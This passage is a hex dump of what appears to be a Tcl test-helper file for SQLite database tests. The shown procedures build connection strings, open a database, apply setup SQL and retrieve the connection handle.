66 65 72 20 74 6f # NOTE: Refer to 13170 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 76 the specified v 13180 61 72 69 61 62 6c 65 20 28 65 2e 67 2e 20 22 64 ariable (e.g. "d 13190 62 22 29 20 69 6e 20 74 68 65 20 63 6f 6e 74 65 b") in the conte 131a0 78 74 20 6f 66 20 6f 75 72 0d 0a 20 20 20 20 20 xt of our.. 131b0 20 23 20 20 20 20 20 20 20 63 61 6c 6c 65 72 2e # caller. 131c0 20 20 54 68 65 20 68 61 6e 64 6c 65 20 74 6f 20 The handle to 131d0 74 68 65 20 6f 70 65 6e 65 64 20 64 61 74 61 62 the opened datab 131e0 61 73 65 20 77 69 6c 6c 20 62 65 20 73 74 6f 72 ase will be stor 131f0 65 64 20 74 68 65 72 65 2e 0d 0a 20 20 20 20 20 ed there... 13200 20 23 0d 0a 20 20 20 20 20 20 75 70 76 61 72 20 #.. upvar 13210 31 20 24 76 61 72 4e 61 6d 65 20 64 62 0d 0a 0d 1$varName db... 13220 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 13230 23 20 4e 4f 54 45 3a 20 53 74 61 72 74 20 62 75 # NOTE: Start bu 13240 69 6c 64 69 6e 67 20 74 68 65 20 63 6f 6e 6e 65 ilding the conne 13250 63 74 69 6f 6e 20 73 74 72 69 6e 67 2e 20 20 54 ction string. T 13260 68 65 20 6f 6e 6c 79 20 72 65 71 75 69 72 65 64 he only required 13270 20 70 6f 72 74 69 6f 6e 0d 0a 20 20 20 20 20 20 portion.. 13280 23 20 20 20 20 20 20 20 6f 66 20 74 68 65 20 63 # of the c 13290 6f 6e 6e 65 63 74 69 6f 6e 20 73 74 72 69 6e 67 onnection string 132a0 20 69 73 20 74 68 65 20 64 61 74 61 20 73 6f 75 is the data sou 132b0 72 63 65 2c 20 77 68 69 63 68 20 63 6f 6e 74 61 rce, which conta 132c0 69 6e 73 20 74 68 65 0d 0a 20 20 20 20 20 20 23 ins the.. # 132d0 20 20 20 20 20 20 20 64 61 74 61 62 61 73 65 20 database 132e0 66 69 6c 65 20 6e 61 6d 65 20 69 74 73 65 6c 66 file name itself 132f0 2e 20 20 49 66 20 6f 75 72 20 63 61 6c 6c 65 72 . If our caller 13300 20 77 61 6e 74 73 20 74 6f 20 75 73 65 20 61 20 wants to use a 13310 55 52 49 20 61 73 0d 0a 20 20 20 20 20 20 23 20 URI as.. # 13320 20 20 20 20 20 20 74 68 65 20 64 61 74 61 20 73 the data s 13330 6f 75 72 63 65 2c 20 75 73 65 20 74 68 65 20 46 ource, use the F 13340 75 6c 6c 55 72 69 20 63 6f 6e 6e 65 63 74 69 6f ullUri connectio 13350 6e 20 73 74 72 69 6e 67 20 70 72 6f 70 65 72 74 n string propert 13360 79 20 74 6f 0d 0a 20 20 20 20 20 20 23 20 20 20 y to.. # 13370 20 20 20 20 70 72 65 76 65 6e 74 20 74 68 65 20 prevent the 13380 64 61 74 61 20 73 6f 75 72 63 65 20 73 74 72 69 data source stri 13390 6e 67 20 66 72 6f 6d 20 62 65 69 6e 67 20 6d 61 ng from being ma 133a0 6e 67 6c 65 64 2e 0d 0a 20 20 20 20 20 20 23 0d ngled... #. 133b0 0a 20 20 20 20 20 20 69 66 20 7b 24 75 72 69 7d . if {$uri} 133c0 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 133d0 20 73 65 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 set connection 133e0 7b 46 75 6c 6c 55 72 69 3d 24 7b 66 69 6c 65 4e {FullUri=${fileN 133f0 61 6d 65 7d 7d 0d 0a 20 20 20 20 20 20 7d 20 65 ame}}.. } e 13400 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 lse {.. s 13410 65 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 7b 44 et connection {D 13420 61 74 61 20 53 6f 75 72 63 65 3d 24 7b 66 69 6c ata Source=${fil 13430 65 4e 61 6d 65 7d 7d 0d 0a 20 20 20 20 20 20 7d eName}}.. } 13440 0d 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 .... #.. 13450 20 20 20 23 20 4e 4f 54 45 3a 20 53 69 6e 63 65 # NOTE: Since 13460 20 74 68 69 73 20 70 72 6f 63 65 64 75 72 65 20 this procedure 13470 68 61 73 20 6e 6f 20 73 70 65 63 69 61 6c 20 6b has no special k 13480 6e 6f 77 6c 65 64 67 65 20 6f 66 20 77 68 61 74 nowledge of what 13490 20 74 68 65 20 64 65 66 61 75 6c 74 0d 0a 20 20 the default.. 134a0 20 20 20 20 23 20 20 20 20 20 20 20 73 65 74 74 # sett 134b0 69 6e 67 20 69 73 20 66 6f 72 20 74 68 65 20 54 ing is for the T 134c0 6f 46 75 6c 6c 50 61 74 68 20 63 6f 6e 6e 65 63 oFullPath connec 134d0 74 69 6f 6e 20 73 74 72 69 6e 67 20 70 72 6f 70 tion string prop 134e0 65 72 79 2c 20 61 6c 77 61 79 73 0d 0a 20 20 20 ery, always.. 134f0 20 20 20 23 20 20 20 20 20 20 20 61 64 64 20 74 # add t 13500 68 65 20 76 61 6c 75 65 20 77 65 20 6b 6e 6f 77 he value we know 13510 20 61 62 6f 75 74 20 74 6f 20 74 68 65 20 63 6f about to the co 13520 6e 6e 65 63 74 69 6f 6e 20 73 74 72 69 6e 67 2e nnection string. 13530 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 13540 20 61 70 70 65 6e 64 20 63 6f 6e 6e 65 63 74 69 append connecti 13550 6f 6e 20 7b 3b 54 6f 46 75 6c 6c 50 61 74 68 3d on {;ToFullPath= 13560 24 7b 71 75 61 6c 69 66 79 7d 7d 0d 0a 0d 0a 20${qualify}}.... 13570 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 #.. # 13580 4e 4f 54 45 3a 20 49 66 20 6f 75 72 20 63 61 6c NOTE: If our cal 13590 6c 65 72 20 73 70 65 63 69 66 69 65 64 20 61 20 ler specified a 135a0 6a 6f 75 72 6e 61 6c 20 6d 6f 64 65 2c 20 61 64 journal mode, ad 135b0 64 20 74 68 65 20 6e 65 63 65 73 73 61 72 79 20 d the necessary 135c0 70 6f 72 74 69 6f 6e 0d 0a 20 20 20 20 20 20 23 portion.. # 135d0 20 20 20 20 20 20 20 6f 66 20 74 68 65 20 63 6f of the co 135e0 6e 6e 65 63 74 69 6f 6e 20 73 74 72 69 6e 67 20 nnection string 135f0 6e 6f 77 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 now... #.. 13600 20 20 20 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 if {[string 13610 20 6c 65 6e 67 74 68 20 24 6d 6f 64 65 5d 20 3e length $mode] > 13620 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 0} then {.. 13630 20 20 20 20 61 70 70 65 6e 64 20 63 6f 6e 6e 65 append conne 13640 63 74 69 6f 6e 20 7b 3b 4a 6f 75 72 6e 61 6c 20 ction {;Journal 13650 4d 6f 64 65 3d 24 7b 6d 6f 64 65 7d 7d 0d 0a 20 Mode=${mode}}.. 13660 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 13670 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: 13680 20 49 66 20 6f 75 72 20 63 61 6c 6c 65 72 20 73 If our caller s 13690 70 65 63 69 66 69 65 64 20 61 20 44 61 74 65 54 pecified a DateT 136a0 69 6d 65 20 66 6f 72 6d 61 74 2c 20 61 64 64 20 ime format, add 136b0 74 68 65 20 6e 65 63 65 73 73 61 72 79 0d 0a 20 the necessary.. 136c0 20 20 20 20 20 23 20 20 20 20 20 20 20 70 6f 72 # por 136d0 74 69 6f 6e 20 6f 66 20 74 68 65 20 63 6f 6e 6e tion of the conn 136e0 65 63 74 69 6f 6e 20 73 74 72 69 6e 67 20 6e 6f ection string no 136f0 77 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 w... #.. 13700 20 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 20 6c if {[string l 13710 65 6e 67 74 68 20 24 64 61 74 65 54 69 6d 65 46 ength $dateTimeF 13720 6f 72 6d 61 74 5d 20 3e 20 30 7d 20 74 68 65 6e ormat] > 0} then 13730 20 7b 0d 0a 20 20 20 20 20 20 20 20 61 70 70 65 {.. appe 13740 6e 64 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 7b 3b nd connection {; 13750 44 61 74 65 54 69 6d 65 46 6f 72 6d 61 74 3d 24 DateTimeFormat=$ 13760 7b 64 61 74 65 54 69 6d 65 46 6f 72 6d 61 74 7d {dateTimeFormat} 13770 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 }.. }.... 13780 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e #.. # N 13790 4f 54 45 3a 20 49 66 20 6f 75 72 20 63 61 6c 6c OTE: If our call 137a0 65 72 20 73 70 65 63 69 66 69 65 64 20 61 20 44 er specified a D 137b0 61 74 65 54 69 6d 65 4b 69 6e 64 2c 20 61 64 64 ateTimeKind, add 137c0 20 74 68 65 20 6e 65 63 65 73 73 61 72 79 20 70 the necessary p 137d0 6f 72 74 69 6f 6e 0d 0a 20 20 20 20 20 20 23 20 ortion.. # 137e0 20 20 20 20 20 20 6f 66 20 74 68 65 20 63 6f 6e of the con 137f0 6e 65 63 74 69 6f 6e 20 73 74 72 69 6e 67 20 6e nection string n 13800 6f 77 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 ow... #.. 13810 20 20 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 20 if {[string 13820 6c 65 6e 67 74 68 20 24 64 61 74 65 54 69 6d 65 length $dateTime 13830 4b 69 6e 64 5d 20 3e 20 30 7d 20 74 68 65 6e 20 Kind] > 0} then 13840 7b 0d 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e {.. appen 13850 64 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 7b 3b 44 d connection {;D 13860 61 74 65 54 69 6d 65 4b 69 6e 64 3d 24 7b 64 61 ateTimeKind=${da 13870 74 65 54 69 6d 65 4b 69 6e 64 7d 7d 0d 0a 20 20 teTimeKind}}.. 13880 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 }.... # 13890 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 .. # NOTE: 138a0 46 69 67 75 72 65 20 6f 75 74 20 77 68 61 74 20 Figure out what 138b0 74 68 65 20 66 69 6e 61 6c 20 66 6c 61 67 73 20 the final flags 138c0 66 6f 72 20 74 68 69 73 20 63 6f 6e 6e 65 63 74 for this connect 138d0 69 6f 6e 20 6e 65 65 64 20 74 6f 20 62 65 2e 0d ion need to be.. 138e0 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 138f0 73 65 74 20 66 6c 61 67 73 20 5b 67 65 74 43 6f set flags [getCo 13900 6e 6e 65 63 74 69 6f 6e 46 6c 61 67 73 20 24 66 nnectionFlags $f 13910 69 6c 65 4e 61 6d 65 20 24 66 6c 61 67 73 20 24 ileName$flags $13920 71 75 69 65 74 5d 0d 0a 0d 0a 20 20 20 20 20 20 quiet].... 13930 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: 13940 20 49 66 20 6f 75 72 20 63 61 6c 6c 65 72 20 73 If our caller s 13950 70 65 63 69 66 69 65 64 20 73 6f 6d 65 20 53 51 pecified some SQ 13960 4c 69 74 65 43 6f 6e 6e 65 63 74 69 6f 6e 46 6c LiteConnectionFl 13970 61 67 73 2c 20 61 64 64 20 74 68 65 0d 0a 20 20 ags, add the.. 13980 20 20 20 20 23 20 20 20 20 20 20 20 6e 65 63 65 # nece 13990 73 73 61 72 79 20 70 6f 72 74 69 6f 6e 20 6f 66 ssary portion of 139a0 20 74 68 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 the connection 139b0 73 74 72 69 6e 67 20 6e 6f 77 2e 0d 0a 20 20 20 string now... 139c0 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b #.. if { 139d0 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 [string length$ 139e0 66 6c 61 67 73 5d 20 3e 20 30 7d 20 74 68 65 6e flags] > 0} then 139f0 20 7b 0d 0a 20 20 20 20 20 20 20 20 61 70 70 65 {.. appe 13a00 6e 64 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 7b 3b nd connection {; 13a10 46 6c 61 67 73 3d 24 7b 66 6c 61 67 73 7d 7d 0d Flags=${flags}}. 13a20 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 . }.... 13a30 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 13a40 45 3a 20 49 66 20 6f 75 72 20 63 61 6c 6c 65 72 E: If our caller 13a50 20 73 70 65 63 69 66 69 65 64 20 61 6e 20 65 78 specified an ex 13a60 74 72 61 20 70 61 79 6c 6f 61 64 20 74 6f 20 74 tra payload to t 13a70 68 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 0d 0a 20 he connection.. 13a80 20 20 20 20 20 23 20 20 20 20 20 20 20 73 74 72 # str 13a90 69 6e 67 2c 20 61 70 70 65 6e 64 20 69 74 20 6e ing, append it n 13aa0 6f 77 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 ow... #.. 13ab0 20 20 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 20 if {[string 13ac0 6c 65 6e 67 74 68 20 24 65 78 74 72 61 5d 20 3e length$extra] > 13ad0 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 0} then {.. 13ae0 20 20 20 20 61 70 70 65 6e 64 20 63 6f 6e 6e 65 append conne 13af0 63 74 69 6f 6e 20 5c 3b 20 24 65 78 74 72 61 0d ction \; $extra. 13b00 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 . }.... 13b10 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 13b20 45 3a 20 4f 70 65 6e 20 74 68 65 20 64 61 74 61 E: Open the data 13b30 62 61 73 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 base connection 13b40 6e 6f 77 2c 20 70 6c 61 63 69 6e 67 20 74 68 65 now, placing the 13b50 20 6f 70 61 71 75 65 20 68 61 6e 64 6c 65 20 76 opaque handle v 13b60 61 6c 75 65 0d 0a 20 20 20 20 20 20 23 20 20 20 alue.. # 13b70 20 20 20 20 69 6e 74 6f 20 74 68 65 20 76 61 72 into the var 13b80 69 61 62 6c 65 20 73 70 65 63 69 66 69 65 64 20 iable specified 13b90 62 79 20 6f 75 72 20 63 61 6c 6c 65 72 2e 0d 0a by our caller... 13ba0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 73 #.. s 13bb0 65 74 20 64 62 20 5b 73 71 6c 20 6f 70 65 6e 20 et db [sql open 13bc0 2d 74 79 70 65 20 53 51 4c 69 74 65 20 5b 73 75 -type SQLite [su 13bd0 62 73 74 20 24 63 6f 6e 6e 65 63 74 69 6f 6e 5d bst$connection] 13be0 5d 0d 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 ].... #.. 13bf0 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 6f 6e 66 # NOTE: Conf 13c00 69 67 75 72 65 20 74 68 65 20 74 65 6d 70 6f 72 igure the tempor 13c10 61 72 79 20 64 69 72 65 63 74 6f 72 79 20 66 6f ary directory fo 13c20 72 20 74 68 65 20 6e 65 77 6c 79 20 6f 70 65 6e r the newly open 13c30 65 64 20 64 61 74 61 62 61 73 65 0d 0a 20 20 20 ed database.. 13c40 20 20 20 23 20 20 20 20 20 20 20 63 6f 6e 6e 65 # conne 13c50 63 74 69 6f 6e 20 6e 6f 77 20 75 6e 6c 65 73 73 ction now unless 13c60 20 6f 75 72 20 63 61 6c 6c 65 72 20 66 6f 72 62 our caller forb 13c70 69 64 73 20 69 74 2e 0d 0a 20 20 20 20 20 20 23 ids it... # 13c80 0d 0a 20 20 20 20 20 20 69 66 20 7b 24 74 65 6d .. if {$tem 13c90 70 6f 72 61 72 79 20 26 26 20 21 5b 69 6e 66 6f porary && ![info 13ca0 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 73 65 74 exists ::no(set 13cb0 54 65 6d 70 6f 72 61 72 79 44 69 72 65 63 74 6f TemporaryDirecto 13cc0 72 79 29 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 ry)]} then {.. 13cd0 20 20 20 20 20 20 73 71 6c 20 65 78 65 63 75 74 sql execut 13ce0 65 20 24 64 62 20 5b 61 70 70 65 6e 64 41 72 67 e$db [appendArg 13cf0 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 s \.. 13d00 20 22 50 52 41 47 4d 41 20 74 65 6d 70 5f 73 74 "PRAGMA temp_st 13d10 6f 72 65 5f 64 69 72 65 63 74 6f 72 79 20 3d 20 ore_directory = 13d20 5c 22 22 20 5b 67 65 74 54 65 6d 70 6f 72 61 72 \"" [getTemporar 13d30 79 44 69 72 65 63 74 6f 72 79 5d 20 5c 22 5c 3b yDirectory] \"\; 13d40 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 ].. }.... 13d50 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e #.. # N 13d60 4f 54 45 3a 20 50 65 72 66 6f 72 6d 20 61 6e 79 OTE: Perform any 13d70 20 65 78 74 72 61 20 70 65 72 2d 63 6f 6e 6e 65 extra per-conne 13d80 63 74 69 6f 6e 20 73 65 74 75 70 20 66 6f 72 20 ction setup for 13d90 74 68 65 20 6e 65 77 6c 79 20 6f 70 65 6e 65 64 the newly opened 13da0 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 13db0 64 61 74 61 62 61 73 65 20 6e 6f 77 20 75 6e 6c database now unl 13dc0 65 73 73 20 6f 75 72 20 63 61 6c 6c 65 72 20 66 ess our caller f 13dd0 6f 72 62 69 64 73 20 69 74 2e 0d 0a 20 20 20 20 orbids it... 13de0 20 20 23 0d 0a 20 20 20 20 20 20 73 65 74 20 65 #.. set e 13df0 78 65 63 75 74 65 4f 6e 53 65 74 75 70 20 5b 67 xecuteOnSetup [g 13e00 65 74 45 78 65 63 75 74 65 4f 6e 53 65 74 75 70 etExecuteOnSetup 13e10 5d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b ].... if {[ 13e20 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 65 string length $e 13e30 78 65 63 75 74 65 4f 6e 53 65 74 75 70 5d 20 3e xecuteOnSetup] > 13e40 20 30 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 0 && \.. 13e50 20 20 20 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 ![info exists 13e60 20 3a 3a 6e 6f 28 65 78 65 63 75 74 65 4f 6e 53 ::no(executeOnS 13e70 65 74 75 70 29 5d 7d 20 74 68 65 6e 20 7b 0d 0a etup)]} then {.. 13e80 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 13e90 20 20 20 23 20 4e 4f 54 45 3a 20 54 68 69 73 20 # NOTE: This 13ea0 63 6f 6d 6d 61 6e 64 20 6d 61 79 20 72 61 69 73 command may rais 13eb0 65 20 61 6e 20 65 72 72 6f 72 3b 20 69 66 20 73 e an error; if s 13ec0 6f 2c 20 74 68 61 74 20 69 73 20 66 69 6e 65 2c o, that is fine, 13ed0 20 61 73 0d 0a 20 20 20 20 20 20 20 20 23 20 20 as.. # 13ee0 20 20 20 20 20 74 68 65 20 65 6e 63 6c 6f 73 69 the enclosi 13ef0 6e 67 20 74 65 73 74 20 77 69 6c 6c 20 74 68 65 ng test will the 13f00 6e 20 66 61 69 6c 2e 20 20 54 68 65 20 5b 73 75 n fail. The [su 13f10 62 73 74 5d 20 63 6f 6d 6d 61 6e 64 20 69 73 0d bst] command is. 13f20 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 . # 13f30 20 75 73 65 64 20 6f 6e 20 74 68 65 20 53 51 4c used on the SQL 13f40 20 69 6e 20 63 61 73 65 20 69 74 20 6e 65 65 64 in case it need 13f50 73 20 74 6f 20 72 65 66 65 72 20 74 6f 20 73 74 s to refer to st 13f60 61 74 65 20 69 6e 20 6f 75 72 0d 0a 20 20 20 20 ate in our.. 13f70 20 20 20 20 23 20 20 20 20 20 20 20 63 6f 6e 74 # cont 13f80 65 78 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d ext... #. 13f90 0a 20 20 20 20 20 20 20 20 73 71 6c 20 65 78 65 . sql exe 13fa0 63 75 74 65 20 24 64 62 20 5b 73 75 62 73 74 20 cute$db [subst 13fb0 24 65 78 65 63 75 74 65 4f 6e 53 65 74 75 70 5d $executeOnSetup] 13fc0 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 .. }.... 13fd0 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f #.. # NO 13fe0 54 45 3a 20 41 6c 77 61 79 73 20 72 65 74 75 72 TE: Always retur 13ff0 6e 20 74 68 65 20 63 6f 6e 6e 65 63 74 69 6f 6e n the connection 14000 20 68 61 6e 64 6c 65 20 75 70 6f 6e 20 73 75 63 handle upon suc 14010 63 65 73 73 2e 0d 0a 20 20 20 20 20 20 23 0d 0a cess... #.. 14020 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 64 62 return$db 14030 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 .. }..... 14040 70 72 6f 63 20 67 65 74 44 62 43 6f 6e 6e 65 63 proc getDbConnec 14050 74 69 6f 6e 20 7b 20 7b 76 61 72 4e 61 6d 65 20 tion { {varName 14060 64 62 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 23 db} } {.. # 14070 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 .. # NOTE: 14080 52 65 66 65 72 20 74 6f 20 74 68 65 20 73 70 65 Refer to the spe 14090 63 69 66 69 65 64 20 76 61 72 69 61 62 6c 65 20 cified variable 140a0 28 65 2e 67 2e 20 22 64 62 22 29 20 69 6e 20 74 (e.g. "db") in t 140b0 68 65 20 63 6f 6e 74 65 78 74 20 6f 66 20 6f 75 he context of ou 140c0 72 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 r.. # 140d0 20 63 61 6c 6c 65 72 2e 20 20 54 68 65 20 68 61 caller. The ha 140e0 6e 64 6c 65 20 74 6f 20 74 68 65 20 64 61 74 61 ndle to the data 140f0 62 61 73 65 20 70 72 65 76 69 6f 75 73 6c 79 20 base previously 14100 6f 70 65 6e 65 64 20 76 69 61 20 74 68 65 0d 0a opened via the.. 14110 20 20 20 20 20 20 23 20 20 20 20 20 20 20 5b 73 # [s 14120 65 74 75 70 44 62 5d 20 70 72 6f 63 65 64 75 72 etupDb] procedur 14130 65 20 73 68 6f 75 6c 64 20 62 65 20 73 74 6f 72 e should be stor 14140 65 64 20 74 68 65 72 65 2e 0d 0a 20 20 20 20 20 ed there... 14150 20 23 0d 0a 20 20 20 20 20 20 75 70 76 61 72 20 #.. upvar 14160 31 20 24 76 61 72 4e 61 6d 65 20 64 62 0d 0a 0d 1 $varName db... 14170 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 14180 23 20 4e 4f 54 45 3a 20 54 68 69 73 20 72 65 74 # NOTE: This ret 14190 75 72 6e 73 20 74 68 65 20 41 44 4f 2e 4e 45 54 urns the ADO.NET 141a0 20 49 44 62 43 6f 6e 6e 65 63 74 69 6f 6e 20 6f IDbConnection o 141b0 62 6a 65 63 74 20 69 6e 73 74 61 6e 63 65 20 66 bject instance f 141c0 6f 72 20 74 68 65 0d 0a 20 20 20 20 20 20 23 20 or the.. # 141d0 20 20 20 20 20 20 73 70 65 63 69 66 69 65 64 20 specified 141e0 64 61 74 61 62 73 65 20 68 61 6e 64 6c 65 2e 20 databse handle. 141f0 20 53 69 6e 63 65 20 67 65 74 74 69 6e 67 20 74 Since getting t 14200 68 69 73 20 6f 62 6a 65 63 74 20 72 65 6c 69 65 his object relie 14210 73 20 75 70 6f 6e 0d 0a 20 20 20 20 20 20 23 20 s upon.. # 14220 20 20 20 20 20 20 45 61 67 6c 65 20 69 6e 74 65 Eagle inte 14230 72 6e 61 6c 73 2c 20 67 72 65 61 74 20 63 61 72 rnals, great car 14240 65 20 73 68 6f 75 6c 64 20 62 65 20 74 61 6b 65 e should be take 14250 6e 20 74 6f 20 61 76 6f 69 64 20 64 69 73 70 6f n to avoid dispo 14260 73 69 6e 67 20 6f 66 0d 0a 20 20 20 20 20 20 23 sing of.. # 14270 20 20 20 20 20 20 20 74 68 69 73 20 6f 62 6a 65 this obje 14280 63 74 20 6f 72 20 6f 74 68 65 72 77 69 73 65 20 ct or otherwise 14290 70 75 74 74 69 6e 67 20 69 74 20 69 6e 74 6f 20 putting it into 142a0 61 6e 20 69 6e 76 61 6c 69 64 20 73 74 61 74 65 an invalid state 142b0 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 ... #.. 142c0 20 20 69 66 20 7b 5b 69 6e 66 6f 20 65 78 69 73 if {[info exis 142d0 74 73 20 64 62 5d 7d 20 74 68 65 6e 20 7b 0d 0a ts db]} then {.. 142e0 20 20 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 if {[cat 142f0 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 ch {.. 14300 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 2d 66 object invoke -f 14310 6c 61 67 73 20 2b 4e 6f 6e 50 75 62 6c 69 63 20 lags +NonPublic 14320 2d 6f 62 6a 65 63 74 66 6c 61 67 73 20 2b 4e 6f -objectflags +No 14330 44 69 73 70 6f 73 65 20 2d 61 6c 69 61 73 20 5c Dispose -alias \ 14340 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 14350 49 6e 74 65 72 70 72 65 74 65 72 2e 47 65 74 41 Interpreter.GetA 14360 63 74 69 76 65 2e 63 6f 6e 6e 65 63 74 69 6f 6e ctive.connection 14370 73 20 49 74 65 6d 20 24 64 62 0d 0a 20 20 20 20 s Item$db.. 14380 20 20 20 20 7d 20 72 65 73 75 6c 74 5d 20 3d 3d } result] == 14390 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 0} then {.. 143a0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 143b0 20 20 20 23 20 4e 4f 54 45 3a 20 53 75 63 63 65 # NOTE: Succe 143c0 73 73 2c 20 72 65 74 75 72 6e 20 74 68 65 20 6f ss, return the o 143d0 70 61 71 75 65 20 6f 62 6a 65 63 74 20 68 61 6e paque object han 143e0 64 6c 65 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 dle... 143f0 23 0d 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 #.. ret 14400 75 72 6e 20 24 72 65 73 75 6c 74 0d 0a 20 20 20 urn $result.. 14410 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 } else {.. 14420 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 #.. 14430 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 46 61 # NOTE: Fa 14440 69 6c 75 72 65 2c 20 72 65 70 6f 72 74 20 77 68 ilure, report wh 14450 79 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 23 0d y... #. 14460 0a 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 . tputs 14470 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c$::test_channel 14480 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a [appendArgs \.. 14490 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3d "= 144a0 3d 3d 3d 20 57 41 52 4e 49 4e 47 3a 20 66 61 69 === WARNING: fai 144b0 6c 65 64 20 74 6f 20 67 65 74 20 63 6f 6e 6e 65 led to get conne 144c0 63 74 69 6f 6e 20 68 61 6e 64 6c 65 20 66 6f 72 ction handle for 144d0 20 64 61 74 61 62 61 73 65 20 5c 22 22 20 5c 0d database \"" \. 144e0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 . $144f0 64 62 20 22 5c 22 2c 20 65 72 72 6f 72 3a 20 22 db "\", error: " 14500 20 5c 6e 5c 74 20 24 72 65 73 75 6c 74 20 5c 6e \n\t$result \n 14510 5d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 ].. }.. 14520 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 }.... # 14530 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 .. # NOTE: 14540 46 61 69 6c 75 72 65 2c 20 72 65 74 75 72 6e 20 Failure, return 14550 61 6e 20 6f 62 76 69 6f 75 73 6c 79 20 69 6e 76 an obviously inv 14560 61 6c 69 64 20 6f 70 61 71 75 65 20 6f 62 6a 65 alid opaque obje 14570 63 74 20 68 61 6e 64 6c 65 2e 0d 0a 20 20 20 20 ct handle... 14580 20 20 23 0d 0a 20 20 20 20 20 20 72 65 74 75 72 #.. retur 14590 6e 20 22 22 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a n "".. }..... 145a0 20 20 20 20 70 72 6f 63 20 66 72 65 65 44 62 43 proc freeDbC 145b0 6f 6e 6e 65 63 74 69 6f 6e 20 7b 20 7b 76 61 72 onnection { {var 145c0 4e 61 6d 65 20 63 6f 6e 6e 65 63 74 